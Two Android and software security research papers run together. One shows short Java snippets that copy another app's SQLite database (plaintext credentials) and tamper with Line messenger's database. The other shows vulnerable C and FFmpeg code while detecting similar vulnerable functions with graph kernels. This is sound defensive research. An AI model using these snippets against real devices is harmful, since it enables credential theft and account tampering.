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Listing 1.1. Code snippet that copies the contents of SQLite database to sdcard.

1 File card = Environment.getExternalStorageDirectory();
2 File directory = Environment.getDataDirectory();
3 if (card.canWrite()) {
4 String srcdbpath= "//data//" + "com.cabsguru" + "//databases//" + "usercontent.db";
5 String destdbpath = "copy";
6 File srcdb = new File(data, srcdbpath);
7 File destdb = new File(sd, destdbpath);
8 FileChannel source = new FileInputStream(srcdb).getChannel();
9 FileChannel destination = new FileOutputStream(destdb).getChannel();

10 destination.transferFrom(source, 0, source.size());
11 source.close();
12 destination.close(); }

Fig. 1. Snapshot of SQLite database of Cabsguru application. It stores username and
passwords in clear text in SQLite database.

2.2 Synchronization

The process of syncing local database of an app with the remote server and
vice-versa is known as synchronization. It is a common phenomenon performed
by almost all categories of apps for preserving user information, keeping backup
of data and displaying user interface of an app even when the user is offline. It
can be performed in 2 ways - synchronously or asynchronously, depending on the
nature of app i.e. for real-time data communication, synchronous synchronization
is preferred such as shopping websites, else asynchronous synchronization can be
done such as for social networking websites [5].

Every app maintains a local copy of server database on the device using
SQLite databases. The server checks the local copy of database for updates.
This can be done in one of the 3 following mechanisms:

1. Timestamp Syncing: If the timestamp entries of local database is older
than the server database, it loads new entries in the database. However, it
does not load the older entries again.

2. Flag Syncing: Server database maintains a flag for each record in the data-
base. For the synced records it sets the flag value. So, the records whose flag
values are unset gets synced with the local database.

3. Complete Sync: Server reloads the entire database on the device whenever
the sync happens.
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Fig. 2. (a) Synchronization phenomenon in android, (b) Attack on synchronization
phenomenon in android

Local database sync never happens instantaneously. It is scheduled in 3 ways -
(1) periodically, (2) whenever net connection is there, and (3) all the apps on
device syncs at the same time saving-battery and bandwidth [6].

The synchronization process in Android is explained in Fig. 2(a). The app
on device periodically syncs with the remote server and maintains a local copy
of server database on the device in a form of SQLite database. Whenever the
app data syncs with the server, the server checks the local database copy for
updates i.e. if it is of an older version, it updates it using any of the 3 update
mechanism explained. An android component known as Content Provider is
an optional participant of this process. Content providers receive data from local
SQLite database and display it on the user interface. If content providers are not
there, user interface of the app gets synced according to the SQLite database.

Attack Scenario: We have written a malicious android app for rooted android
devices which accesses the SQLite database of other apps and modifies it’s con-
tents. Listing 1.2 shows the malicious code that accesses the database of real
world app Line messenger and tampers it. This code creates an object db of
the database and drops the settings table from the database “naver line”. By
dropping this table, the user gets logged out of the app and has to sign it again.

Listing 1.2. Code snippet that modifies the existing SQLite database of an app

1 String path = "/data/data/jp.naver.line.android/databases/naver_line";
2 SQLiteDatabase db = SQLiteDatabase.openDatabase(path, null, SQLiteDatabase.

OPEN_READWRITE);
3 if (db != null) {
4 db.execSQL("DROP TABLE IF EXISTS settings"); }

3 Threat Modeling of SQLite Databases

In this work, we have conducted the threat modeling of SQLite databases of
an android app using OWASP Threat model [3]. Our primary purpose is to
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determine the vulnerabilities of database implementation in an app. OWASP
threat model consists of following steps:

1. Decompose an app
2. Threat Estimation
3. Risk assessment

The following subsections explain the threat modeling steps according to our
context.

3.1 Decompose App

An asset is defined as a conceptual property which is of attacker’s importance
[7]. They can be termed as threat targets. In our case, all the non-null attributes
of extracted database are considered as assets. In order to find sensitive assets
the following steps have been adopted:

– Initially, the app is reverse engineered using apktool [8] and dex2jar [9]. Man-
ual analysis is performed for mapping the UI interfaces with the SQLite data-
base attributes as the disassembled code also contains obfuscated code which
cannot be analyzed precisely without doing the manual analysis.

– After the mapping, we altered the contents of attributes in database one by
one (and later in sets) using the malicious app, in order to record its effect
on the UI. We even modified those attributes which do not map to any UI
element to look for its effects.

– If any modifications in database render to any change in UI of app, we con-
sidered them as sensitive assets. This presents the vulnerability known as
Synchronization as the changes do not get synced with the remote server
and attacker can manipulate UI.

– In addition to this, the attributes containing sensitive information in plain
text are considered sensitive assets. This reflects the Storing sensitive
information as plaint-text vulnerability.

3.2 Threat Estimation

This step computes the susceptibility of a database to attacks. We categorized
threats using the model proposed by OWASP named STRIDE model [10]. More
the number of sensitive assets contributing to a threat, more susceptible the app
is to that attack. It shows the exposure of an app towards the threats. STRIDE
stands for:

– S (Spoofing Identity): Stealing credentials, personal details or changing the
identity of user or contacts.

– T (Tampering): Modifying the attributes of database
– R (Repudiation): Actions that are prohibited in UI but can be done by mod-

ifying database attributes and cannot be intercepted by the app.
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– I (Information leakage): Sensitive information stored in plaintext or altering
the database attributes in a way that leaks sensitive information.

– D (Denial of service): Denying the access of app to users.
– E (Escalation of Privileges): Gaining unauthorized access or performing an

action not allowed to the user.

3.3 Risk Assessment

This step includes quantification of risks posed by SQLite database of an app.
The Risk factor is a standard measure provide by OWASP to compute the sever-
ity of risks in an app [11]. The Risk Factor is given as:

Risk Factor = Likelihood × Impact (1)

The likelihood and impact of STRIDE is calculated. The Likelihood is computed
as:

Likelihood =
No. of senstive assets classified under STRIDE

Total no. of sensitive assets
(2)

Impact is calculated by looking at the effect of STRIDE on CIA i.e.
Confidentiality, Integrity and Availability. Score is calculated by mea-
suring the severity of impact. For confidentiality, the score is given on the basis
of amount of data disclosed and its sensitivity. For integrity, it is given on the
basis of amount of corrupt and damaged data. For availability, it is the amount
of service loss. Table 1 provides the risk levels specified by OWASP.

Table 1. Risk Levels [11]

S.no. Risk Level

1 0 to < 3 Low

2 3 to < 6 Medium

3 6 to 9 High

4 Case Study: Threat Modeling of Line Messenger App

In this section, threat modeling of Line messenger application is highlighted.
Line messenger is one of the most emerging instant messaging app with 500
million downloads [12].
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4.1 Decompose the App

The SQLite database of Line messenger known as naver line is extracted
using adb from the location: /data/data/jp.naver.line.android/databases/. After
extracting the database, assets are identified. The total calculated assets are
237. Using disassembled code and manual analysis, we found that 201 attributes
map to the UI of Line messenger app. Out of 237 attributes, 4 attributes contain
sensitive information in plain-text and considered sensitive assets.

Fig. 3. Assets modification for changing the chat partner

Line uses both encryption and encoding scheme to keep its database secure
from outside interference. AES encryption technique in electronic codebook
(ECB) mode with no padding using 16-byte key followed by Base-64 encoding
has been applied. The key is different for every user and is devised by using
Android Id value. We succeeded in breaking its encryption scheme.

Further, we modify the attributes and visually examine whether it alters the
UI or not. We even modified the encrypted asset values. The UI of app cannot
modify these assets. If any change is detected, irrespective of whether the effect
is harmless or harmful, we consider it as a sensitive asset. We have also modified
assets in a set of 2, 3, 4 or more to look for any exploitation. We have found
4 such sets. As an example, by modifying 2 assets (chat id + from mid) the
chat member gets changed. Figure 3 shows this example. Here we have changed
chat id and from mid in order to change chat partner. It is a case of Spoofing
identity. Out of 237 assets, 65 are found to be sensitive assets.

4.2 Threat Estimation

From the impact of sensitive assets, threat categorization is done. Table 2 repre-
sents the details of sensitive asset categorization.
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4.3 Risk Assessment

Likelihood and impact are calculated for every threat. Table 2 lists the likelihood
values of STRIDE for Line Messenger. The computed likelihood value is 2. The
impact is calculated as 3.88. The Risk factor is calculated as:

Risk Factor = 2 × 3.88 = 7.76 (3)

The calculated Risk Factor is 7.76 which lies in high range in risk levels. It
shows that Line messenger’s SQLite database is risky and vulnerable to threats
and attacks.

Table 2. Likelihood values for STRIDE categorization

S.no. Threat No. of sensitive assets Likelihood

1 S 9 1.38

2 T 15 2.30

3 R 11 1.692

4 I 2 0.307

5 D 1 0.15

6 E 27 4.15

Total 65 2

5 Experimental Results and Discussion

In order to assess the prevalence of database vulnerabilities, we conducted exper-
iments on 18 popular android apps downloaded from the playstore. Table 3
presents the experimental analysis results of 18 apps. It shows that, 9 apps
are sensitive to plaint-text storage vulnerability and 5 apps to synchronization.
The vulnerabilities can be fixed by using different approaches. For repairing
Sensitive storage in plain-text vulnerability, the sensitive data should be
stored in encrypted format using a secure cryptographic algorithm which cannot
be broken. Passwords should never be stored in databases. The second vulnera-
bility synchronization can be fixed by using complete synchronization scheme
for syncing with the server.

6 Related Work

Privacy and information leakage has been a constant threat to android apps.
Many tools have been proposed to detect them. ComDroid [13] conducts com-
ponent and intent analysis statically to identify the vulnerabilities of message
passing system in android. TaintDroid [14] performs dynamic analysis to identify
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Table 3. Experimental Results of 18 app

S.no. App name Downloads Storing
sensitive
data in
plain-text

Synchronization Calculated
risk score

1 Line messenger 500 million � � 7.76

2 WhatsApp 1 billion � � 4.625

3 Hike 50 million � � 5.534

4 Kik 100 million � 4.166

5 Viber 500 million � � 3.668

6 WeChat 100 million 0.00

7 OlaCabs 10 million � 1.2

8 Cabsguru 0.1 million � 4.7

9 MeruCabs 1 million � 2.1

10 TaxiForSure 5 million 1.5

11 Mobiwik 10 million 0.00

12 Citrus 0.1 million � 1.3

13 PayuMoney 0.5 million � 1.2

14 BookMyshow 10 million 0.00

15 Uber 50 million 0.00

16 Oxigen Wallet 1 million 0.00

17 Ixigo cab booking 0.1 million 0.00

18 Freecharge 10 million 0.00

confidential information leakage through apps. It modifies the android frame-
work to record the flow of sensitive data between apps. IccTA [15] performs
static taint analysis to detect privacy leaks in android apps. It identifies the
source and sinks of intents and data passed through it. AAPL [16] performs
static analysis to detect privacy disclosures by conducting conditional flow iden-
tification and joint flow tracking. It performs peer voting to prune the results
by reducing false positives. Zhou et al. [17] proposed a detection mechanism for
leakage in content providers. It initially checks the content provider declaration
in the manifest for “exported attribute= true” and consequently performs con-
trol and data flow analysis to track the flow of sensitive information and looks for
information leakage. The contribution of this paper in contrast to the existing
work focusses on SQLite databases of an android app which are inherently pri-
vate. In our knowledge, we are the first one to systematically study the attacks
possible on the identified vulnerabilities (storing sensitive data in plain-text and
synchronization) of SQLite databases in android appps.
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7 Conclusion and Future Work

In this paper, we illustrate the existence of two vulnerabilities in SQLite data-
bases of android apps in rooted android devices. Storing sensitive data in plain
text vulnerability, exposes crucial information such as login credentials, per-
sonal information, etc. leading to financial losses. Synchronization vulnerability
enables database tampering leading to attacks such as spoofing identity, privilege
escalation, etc. In order to analyze the predominance of these vulnerabilities in
android apps, we performed threat modeling of 18 android apps downloaded from
play store. The prevalence of these vulnerabilities in android apps in conjunc-
tion with the presence of sensitive data in these databases which if tampered or
stolen may lead to fatal consequences (such as spoofing identity, financial losses,
etc.), manifests the seriousness of these two vulnerabilities. We have calculated
standard risk scores (given by OWASP) to assess the proneness of android apps
to these vulnerabilities. We have also provided preliminary mitigation solutions.
In future, we plan to look for vulnerabilities in other data storage mediums and
work towards automated detection approaches.
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Abstract. We present a method for vulnerability extrapolation to iden-
tify vulnerable functions in source code. Given a known vulnerable func-
tion, the proposed method extrapolates to find similar functions in the
code base. Vulnerability extrapolation is based on the observation that
given a starting vulnerability, similar behavior may be present in many
other functions. In order to capture similarity, we represent functions in
terms of syntactic and semantic patterns. These patterns are based on
several code features like API usage pattern, argument types and control
flow graph (CFG) of the functions. We employ a recent technique, called
graph kernel to compute similarity directly on the CFGs of functions.
We empirically demonstrate the capabilities of the proposed method by
evaluating real-world applications to identify vulnerabilities.

Keywords: Software vulnerability · Control flow graph · Graph kernel ·
Extrapolation · Code similarity

1 Introduction

A software bug is an error, flaw, failure or fault in a system that causes it to
produce an incorrect or unexpected result, i.e., to behave in unintended ways.
These bugs creep into the software mainly due to inadequate system design
and/or improper development practices thus compromising the system security
and make it vulnerable to attacks. The discovery of the vulnerabilities in the
source code remains as the critical issue in the study of system security. New
vulnerabilities are being continuously discovered in softwares [11], which neces-
sitate the need for automated techniques for vulnerability identification. In the
past, there have been few studies on this line of research [12,18,20,21]. In partic-
ular, inspired by the idea of vulnerability extrapolation [20,21], in this article, we
present a method of finding vulnerable functions in C code by extracting struc-
tural and semantic patterns over the control flow graphs (CFG) of the functions.
These patterns are used as abstract representation of the functions, which is used
to compute similarity between known vulnerable functions and other functions
in the code base. In the following, before introducing the main components of
c© Springer International Publishing AG 2016
I. Ray et al. (Eds.): ICISS 2016, LNCS 10063, pp. 532–542, 2016.
DOI: 10.1007/978-3-319-49806-5 32
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our approach, we motivate the main idea behind it by a simple example of code
similarity based vulnerability detection.

1.1 Motivation

The nature of many vulnerabilities is based on the control flow structure of
the code rather than mere syntactical structure as is evident from the following
example shown in Listing 1.1.

Function bufCopy() exhibits a buffer overflow vulnerability which is also
present in bufCopy2(). By performing vulnerability analysis using API symbols
or subtrees (as proposed in [21]), randomFunc() will receive a higher similarity
than bufCopy2(), mainly due to the presence of features like API calls and vari-
able symbols. Ideally, bufCopy2() should receive a higher similarity as it has the
vulnerability. Through this simple but representative example of vulnerable code,
we see that the AST based approach is not efficient in such cases. If we consider

1 char ∗bufCopy ( char ∗Dest , char ∗Src )
2 {
3 char ∗p = Dest ;
4 int a , b ;
5 float c , d ;
6 while (∗ Src != ’ \0 ’ )
7 {
8 ∗p++ = ∗Src++;
9 }

10 ∗p = ’ \0 ’ ;
11 foo (a , b ) ;
12 return Dest ;
13 }
14 char ∗bufCopy2 ( char ∗Dest , char ∗Src )
15 {
16 char ∗p = Dest ;
17 while (∗ Src != ’ \0 ’ )
18 {
19 ∗p++ = ∗Src++;
20 }
21 ∗p = ’ \0 ’ ;
22 return Dest ;
23 }
24 char ∗randomFunc ( char ∗Dest , char ∗Src )
25 {
26 char ∗p = Dest ;
27 float c , d ;
28 int a , b ;
29 foo (a , b ) ;
30 foo ( c , d ) ;
31 return Dest ;
32 }

Listing 1.1. Example Code

the control flow of the code,
we find that a general pat-
tern between the two vul-
nerable functions is the pres-
ence of a while loop sand-
wiched between declarations
and some statements (includ-
ing API calls). Therefore, to
detect a vulnerable pattern
more accurately, we need to
consider richer set of proper-
ties of the code such as control
flow structure.

In this paper, we attempt
to address the challenges
of extrapolating code flow
based vulnerabilities using
CFG based similarity metric.
However, graph based simi-
larity techniques tend to be
expensive, especially for large
graphs [4,7], which poses a
practical problem of scala-
bility in using CFG based
vulnerability extrapolation. Thanks
to recent advancements in
graph based similarity techniques, there exists a technique called Graph Ker-
nel which we employ to find similar vulnerable functions in large codebases by
comparing CFGs of the functions. Figure 1 illustrates a high level representation
of the components involved in our approach.
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Fig. 1. Schematic diagram

1. For all the functions in a given application, we extract features related to
API calls, including features like API symbols, argument and return types.
By using these features, each function is represented as vector. We further
augment this vector by adding four numeric feature, namely- number of loops,
cyclomatic complexity, number of nodes, number of edges. This step is similar
to the techniques from [21]. For a selected vulnerable function, we apply kNN
algorithm to select k nearest neighbors of the vulnerable function. These
k functions undergo CFG-based similarity comparison using graph kernel
method.

2. In CFG based representation, we extract CFGs of k functions, and the selected
vulnerable function. In order to have graph based similarity, we resort to
a recent technique of computing similarity of graphs, known as graph ker-
nel [17]. In order to distinguish it from knn similarity step, we henceforth
refer to this step as SimCFG. This step results in a list of functions which are
similar to a given vulnerable function based on its syntactic and control-flow
properties.

2 Vulnerability Extrapolation Using CFG: SimCFG

While Abstract Syntax Trees are an excellent representation of the syntacti-
cal structure of code, they are unsatisfactory in representing code flow proper-
ties and data flow properties of code. As mentioned in Sect. 1.1, Control Flow
Graphs (CFGs) can complement AST based representation, thereby assisting
in various tasks, including code similarity. We, therefore, extend the AST based
approached, described in [21] by incorporating CFG based properties while com-
puting similarity. In the following subsections, we describe our method of using
CFG features in computing similarity. As CFGs are graphs, computation on
graphs of arbitrary complexity is known to be challenging. We, therefore, make
use of a recent method for computing/comparing graphs, known as graph kernel.
In the following, we provide a very brief introduction to graph kernel. Due to
paucity of space, we omit the description of steps that are based on [21], but
recall that the outcome of this step is a list of k functions which are similar to
a given vulnerable function w.r.t. their AST based features.
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2.1 Graph Kernel

Graph kernels [17] are inner product functions operating over graphs. They allow
one to measure the similarity between two graphs. In terms of their spirit, graph
kernels expand the idea of traditional kernel functions in machine learning, to
graphs.

As an illustration, a random walk kernel [16] computes similarity between two
graphs by performing a random walk on them simultaneously and then counting
the number of paths produced by both walks. These simultaneous walks are
equivalent to a walk on the direct product of the pair of graphs and offers a
computationally efficient way of arriving at similarity. A family of kernels based
on this idea can be created by considering different types of graph decompositions
such as subtree patterns. We used Weisfeiler-Lehman subtree kernel [15] for
capturing the similarity between multiple control flow graphs.

2.1.1 WL Graph Kernel
WL subtree kernel compares subtree patterns in two graphs. Let G1 and G2 be
the two graphs and k be any kernel for graphs, that we will call the base kernel.
Then the WeisfeilerLehman kernel with h iterations with k is defined as

k
(h)
WL(G1, G2) = k(G10, G20) + k(G11, G21) + · · · + k(G1h, G2h)

where h is the number of Weisfeiler-Lehman iterations and G1i and G2i are the
Weisfeiler-Lehman sequences obtained after ith iteration of the kernel functions
on G1 and G2 respectively.

Let Ω is overall set of letters that occur as node labels at least once in G1 or
G2. Define Ωi ⊆ Ω as the set of letters that occur as node labels at least once in
G1 or G2 at the end of the i-th iteration of the Weisfeiler-Lehman algorithm. Let
Ω0 be the set of original node labels of G1 and G2. Assuming all Ωi as pairwise
disjoint, we can assume that every Ωi = {ωi1,. . . ,ωi|Ωi|} is ordered without loss
of generality. We define a map ri: {G1,G2} × Ωi → N such that ri(G1,ωij) is the
number of occurrences of the letter ωij in the graph G1. The Weisfeiler-Lehman
subtree kernel on two graphs G1 and G2 with h iterations is defined as:

k
(h)
WLsubtree(G1, G2) = 〈δ(h)

WLsubtree(G1), δ(h)
WLsubtree(G2)〉 (1)

where

δ
(h)
WLsubtree(G1) = (r0(G1, ω01), . . . , r0(G1, ω0|Ω0|), . . . , rh(G1, ωh1), . . . , rh(G1, ωh|Ωh|))

and

δ
(h)
WLsubtree(G2)=(r0(G2, ω01), . . . , r0(G2, ω0|Ω0|), . . . , rh(G2, ωh1), . . . , rh(G2, ωh|Ωh|)).

That is, the Weisfeiler-Lehman subtree kernel counts common original and com-
pressed labels in two graphs.



536 L. Jain et al.

2.2 Extraction of CFG and Its Conversion to Generalized CFG

In order to use graph kernel, we need to establish a notion of similarity between
nodes of the CFGs, which are basic blocks. In order to do so, we transform
the CFG into another form of CFG, called as generalized CFG (GCFG). This
transformation abstracts the information by classifying the basic blocks into one
of three types of nodes i.e. Control statements, function calls and rest of the
statements nodes.

The GCFG is created from the extracted CFG, by following a two-step
process.

1. Node Classification: In the first step, all the nodes in the CFG were classi-
fied into one of the three type of nodes - Control statements (i.e. if conditions,
switch conditions, loops etc.), statement nodes (i.e. declarations, assignments
etc.) and function calls. This can be done by careful regular expression based
classification.

2. Node connection: Once each node of GCFG is determined, connections are
established by replacing the connections of original CFG, and then connecting
the sub-nodes of the original nodes of the CFG in the appropriate sequence.

Figure 2 depicts the CFGs and corresponding GCFGs the functions bufcopy()
and bufcopy2() listed in Listing 1.1.

2.3 Identification of Potentially Vulnerable Functions

The problem of finding control flow based similarity between two functions has
now been reduced to finding the similarity between their respective Control
Flow Graphs (GCFGs, to be more precise). At this stage, we apply kernel graph
method to measure similarity among GCFGs, i.e., we represent the example
vulnerable function as a GCFG and by using graph kernel, we extrapolate the
vulnerable patterns by computing the similarity with the rest of the k functions.
The functions are ranked according to their similarity metric with the known
vulnerable function.This allows for identification of other functions which have
a similar code flow pattern and hence could carry the same vulnerability.

3 Evaluation

We have implemented the proposed method in a proof-of-concept tool, written
in python, java and c++. We evaluate our method on six open source project-
FFmpeg(0.6), Pidgin(2.10.0), LibTIFF(3.8.1), mpg123(0.59r), Tintin++(1.97.9)
and ImageMagick(6.2.8). Due to the paucity of space, we discuss results in details
only for FFmpeg and provide only result summaries for other applications in
Table 2. For each applications, we select a known vulnerable function and find k
nearest neighbors functions from the application. Based on offline experimenta-
tion on different values of k, we found k = 200 to be the best choice. We apply
SimCFG on these 200 functions to filter functions which have graph kernel sim-
ilarity above 0.75. We arrived this threshold by performing same steps as we did
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(a) Extracted CFG bufcopy() G1 (b) Extracted CFG bufcopy2() G2

(c) Generalized CFG bufcopy() G1 (d) Generalized CFG bufcopy2() G2

Fig. 2. Extraction of CFG

for k with knn similarity. In the next section, we provide details for our findings
on FFmpeg.

3.1 Case Study: FFmpeg

Original Vulnerability: We have consider vulnerable function
flic decode frame 8BPP (shown in Listing 1.2), reported in CVE-2010-3429, as
the starting function. In this function, offsets, specified by the video frame, is not
verified to be referring to locations within the array. This could provide attackers
with access to locations outside of the pixel array.

Extrapolation: In Table 1 we show three vulnerable functions found by extrap-
olations in [21], along with the results with our method. For the sake of bravity
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and to align with the results of [21], we show top 30 similar functions with the
three extrapolated vulnerable functions shown in dark shade. In addition to these
three functions, we also find other vulnerable functions (shown in ligher shade)
such as ff er frame end (CVE-2013-0860), rpza decode stream (CVE-2013-7009)
and decode slice header (CVE-2013-7008) which were not detected by earlier
work.
1 s t a t i c i n t f l i c decode f rame 8BPP (AVCodecContext ∗avctx , v o i d ∗data ,
2 i n t ∗ data s i z e , c o n s t u in t 8 t ∗buf , i n t bu f s i z e )
3 { [ . . . ]
4 i f ( ( l i n e p a c k e t s & 0xC000 ) == 0xC000 ) {
5 l i n e p a c k e t s = −l i n e p a c k e t s ;
6 y ptr += l i n e p a c k e t s ∗ s−>frame . l i n e s i z e [ 0 ] ;
7 } e l s e i f ( ( l i n e p a c k e t s & 0xC000 ) == 0x4000 ) {
8 av log ( avctx , AV LOG ERROR, ”Undefined opcode (
9 DELTA FLI\n” , l i n e p a c k e t s ) ;

10 } e l s e i f ( ( l i n e p a c k e t s & 0xC000 ) == 0x8000 ) {
11 p i x e l s [ y pt r + s−>frame . l i n e s i z e [ 0 ] − 1 ] = l i n e p a c k e t s & 0 x f f ;
12 } e l s e { compres sed l ines −−; p i x e l p t r = y ptr ; pixel countdown = s−>avctx−>width ;
13 f o r ( i = 0 ; i < l i n e p a c k e t s ; i++) {
14 p i x e l s k i p = buf [ s t ream ptr ++];
15 [ . . . ] byte run = ( s i g n e d c h a r ) ( buf [ s t ream ptr ++]);
16 i f ( byte run < 0) {
17 [ . . . ] p a l e t t e i d x 2 =buf [ s t ream ptr++];
18 CHECK PIXEL PTR( byte run ) ;
19 f o r ( j = 0 ; j <byte run ; j++, pixel countdown −= 2)
20 { p i x e l s [ p i x e l p t r++]=pa l e t t e i d x1 ; p i x e l s [ p i x e l p t r++] = pa l e t t e i d x2 ;}
21 . . . } }

Listing 1.2. Original Vulnerable Code of flic decode frame 8BPP CVE-2010-3429

1 v o i d f f e r f r ame end (MpegEncContext ∗ s )
2 { [ . . . ]
3 i f ( ! s−>e r r o r r e c o g n i t i o n | | s−>e r r o r count==0 | | s−>avctx−>l owres | |
4 s−>avctx−>hwaccel | |
5 s−>avctx−>codec−>c a p a b i l i t i e s&CODEC CAP HWACCEL VDPAU | |
6 s−>p i c t u r e s t r u c t u r e != PICT FRAME | |
7 // we d o n t s u p p o r t ER o f f i e l d p i c t u r e s y e t , t h o u g h i t s h o u l d n o t c r a s h i f e n a b l e d

8 s−>e r r o r count==3∗s−>mb width∗( s−>avctx−>sk ip top +
9 s−>avctx−>skip bottom )) r e t u r n ;

10 i f ( s−>cu r r en t p i c t u r e . mot ion val [ 0 ] == NULL){
11 av log ( s−>avctx ,AV LOG ERROR, ”Warning MVs not ava i l a b l e \n” ) ;
12 f o r ( i =0; i <2; i++){
13 pic−>r e f i n d e x [ i ]= av mal locz ( s−>mb str ide ∗
14 s−>mb height ∗ 4 ∗ s i z e o f ( u i n t 8 t ) ) ;
15 [ . . . ]
16 }
17 i f ( s−>avctx−>debug&FF DEBUG ER){
18 f o r (mb y=0; mb y<s−>mb height ; mb y++){
19 f o r (mb x=0; mb x<s−>mb width ; mb x++){
20 i n t s t a tu s= s−>e r r o r s t a t u s t a b l e [ mb x + mb y ∗ s−>mb str ide ] ;
21 av log ( s−>avctx , AV LOG DEBUG, ”
22 av log ( s−>avctx , AV LOG DEBUG, ”\n” ) ;} }
23 [ . . . ]
24 }

Listing 1.3. FFMpeg:Detected Vulnerable Code CVE-2013-0860

The function ff er frame end shown in Listing 1.3 has a similar code flow to
flic decode frame 8BPP by virtue of multiple nested for loops and if state-
ments. However, this function does not have a similar API usage pattern and
syntactical structure as flic decode frame 8BPP and is hence ranked low by AST
based approach. Our method returns a similarity of 0.89, which is the result of
considering control-flow properties of the code.

Table 2 shows the results of applying proposed method on remaining 5 appli-
cations. We detect all 8 vulnerable functions in PIDGIN mentioned in [21]. For
MPG123, we detect 3 vulnerable functions listed in CVE and 4 potentially vul-
nerable functions out of which 2 are detected only by CFG based approach.
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4 Related Work

This section visits some of the previous works to highlight the important differ-
ences vis-à-vis our proposed work.

Table 1. Function similarity score for the top 30
candidates for FFMpeg. Column 1–2nd: AST [21];
Column 3–4th: CFGSim.

AST CFGSim
Sim Function Name Sim Function Name
0.98 flic decode frame 15 16BPP 0.933 flic decode frame 15 16BPP
0.92 decode frame 0.908 adpcm decode frame
0.92 decode frame 0.891 ff er frame end
0.91 flac decode frame 0.891 wavpack decode frame
0.90 decode format80 0.888 smc decode stream
0.89 decode frame 0.878 decode frame
0.89 tgv decode frame 0.877 decode frame
0.89 vmd decode 0.875 vmd decode
0.89 wavpack decode frame 0.874 rpza decode stream
0.88 adpcm decode frame 0.873 decode init
0.88 decode frame 0.871 lz unpack
0.88 aasc decode frame 0.869 aw pulse set1
0.88 vqa decode chunk 0.866 msrle decode 8 16 24 32
0.87 cmv process header 0.845 sbr make f master
0.87 msrle decode 8 16 24 32 0.828 decode slice header
0.87 wmavoice decode init 0.824 flac decode frame
0.85 decode frame 0.821 ff er add slice
0.84 smc decode stream 0.817 xvid encode frame
0.84 rl2 decode init 0.814 qdm2 decode super block
0.84 xvid encode init 0.814 cmv decode inter
0.84 vmdvideo decode init 0.811 rle unpack
0.83 mjpega dump header 0.809 msrle decode pal4
0.82 ff flac is extradata valid 0.805 loop filter
0.82 decode init 0.805 vqa decode chunk
0.82 ws snd decode frame 0.796 decode format80
0.81 bmp decode frame 0.790 rl2 rle decode
0.81 sbr make f master 0.777 bmp decode frame
0.80 ff h264 decode ref pic . 0.776 wmavoice decode init
0.80 decode frame 0.773 ws snd decode frame
0.79 vqa decode init 0.771 vqa decode init

There have been stud-
ies on detecting vulnerability
using API usage pattern so as
to observe the content usage
of the code which often plays
a vital role in identifying vul-
nerability. Some static analy-
sis tools are built on such
concepts, e.g., Flawfinder [1].
However, these tools and
method are limited to their
database. Thus vulnerabili-
ties which have an unknown
API usage pattern cannot be
detected. Some studies are
based on the hypothesis that
most of the code in a system is
replicated, thereby increasing
the chances of several func-
tions containing a similar if
not same vulnerability [6].

There also exist tools and evaluation techniques for detecting such func-
tions in code [2,9]. There are some studies entirely different from traditional
techniques which exploit principles of computational linguistics in vulnerability
detection [13]. Following this line of research, in [20], the authors introduced the
concept of vulnerability extrapolation to find similar vulnerabilities in a given
code base and further extended the approach in [21]. Needless to mention, this
is closest to our work which we have referred to and compared with throughout
the paper.

In the domain of vulnerability detection, however, there exist approaches
such as Fuzzing and dynamic taint analysis [10,14].

There have been several studies conducted on program analysis using AST,
CFG, Call Graph, Program Dependency Graph and other representations of
code [3,5]. This forms the basis for detecting vulnerability using graphs. Exist-
ing techniques combine the Call Graph and Control Flow Graph for detecting
anomaly using probabilistic methods [19]. These techniques are limited to detect
intrusion when the program behaviour deviates from an actual learned model.
Very recently (almost parallel to our work, June 2016), Li et al. investigated
the idea of using graph kernels for code similarity [8]. Though at idea level, our
proposed method is similar to this work, we deviate substantially at implement-
ing the graph kernels. In [8], graph are constructed to capture either call-chain



540 L. Jain et al.

Table 2. Result of applying SimCFG on remaining 5 applications. A * after the func-
tion name represents the fact that the function was not detected by AST based app-
roach.

Application name Example vulnerable

function

Extrapolated vulnerable function

PIDGIN(2.10.0) receiveauthgrant()

(CVE-2011-4601)

receiveauthreply(), receiveadded(),

parseadd(), parsemod(),

mtn receive(), parseinfo create(),

parseicon(), keyparse()

TinTin++(1.97.9) add line buffer()

(CVE-2008-0671)

DO CHAT()(CVE-2008-0673),

process chat input()(CVE-2008-0672),

buffer f()*(CWE-119:CWE-120)(CWE-190),

readmud()*(CWE-119:CWE-120)(CWE-126)

MPG123(0.59r) readstring()

(CVE-2003-0865)

find next file(CVE-2004-1284),

read frame()*(CWE-119:CWE-120),

http open()(CVE-2007-0578),

init input()*(CWE-120)(CWE-126),

default init()*(CWE-119:CWE-120),

url2hostport()*(CWE-120)(CWE-190),

getauthfromURL()(CVE-2004-0982)

LibTiff(3.8.1) TIFFReadDirectory()

(CVE-2012-2088)

t2p read tiff init()(CVE-2012-3401),

LZWDecode()(CVE-2008-2327),

LZWDecodeCompat()(CVE-2008-2327),

t2p readwrite pdf image()*(CWE-120, CWE-20),

cvt whole image()(CVE-2009-2347),

EstimateStripByteCounts()(CVE-2006-3463),

readgifimage()(CVE-2013-4243)

ImageMagick(6.2.8) ReadDIBImage()

(CVE-2007-4988)

ReadSGIImage()(CVE-2006-4144),

DecodeImage()(CVE-2006-3744),

ReadDCMImage()(CVE-2007-4986),

ReadDIBImage()(CVE-2007-4986),

WriteDIBImage()(CVE-2007-4986),

ReadXBMImage()(CVE-2007-4986),

ReadXCFImage()(CVE-2007-4986),

ReadXWDImage()(CVE-2007-4986),

WriteXWDImage()(CVE-2007-4986),

OpenBlob()*(CWE-119:CWE-120),

ReadPSDImage()*(CWE-119:CWE-120)

or dataflow among variables. On the contrary, we generate graphs to capture
control flow of the program.

5 Conclusions

Developing automated system for detecting vulnerability is a key to strengthen
the security in a world of computers where a small loophole could result in loss
or theft of critical data or denial of critical services. Due to large volumes of
code, it is mandatory to identify some vulnerability patterns which help reduce
the huge search space and highlight critical sections of code thus, enabling quick
identification of software vulnerabilities.

Our method identifies the functions which are candidates for being poten-
tially vulnerable functions. Our method utilizes content, structural patterns and
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control flow patterns of the code to extrapolate vulnerability and thus find sim-
ilar bugs in the complete application.

The effectiveness of our method is amply demonstrated by the identification
of many vulnerable functions mentioned in the CVE list. Our method can also
be combined with other vulnerability detection techniques. If a new vulnerability
is identified by utilising any of the existing vulnerability detection techniques, it
can be extrapolated to the entire code base thus identifying other instances of
the same or similar vulnerabilities. By using our technique one can immediately
patch similar kind of flaws existing within the application efficiently.
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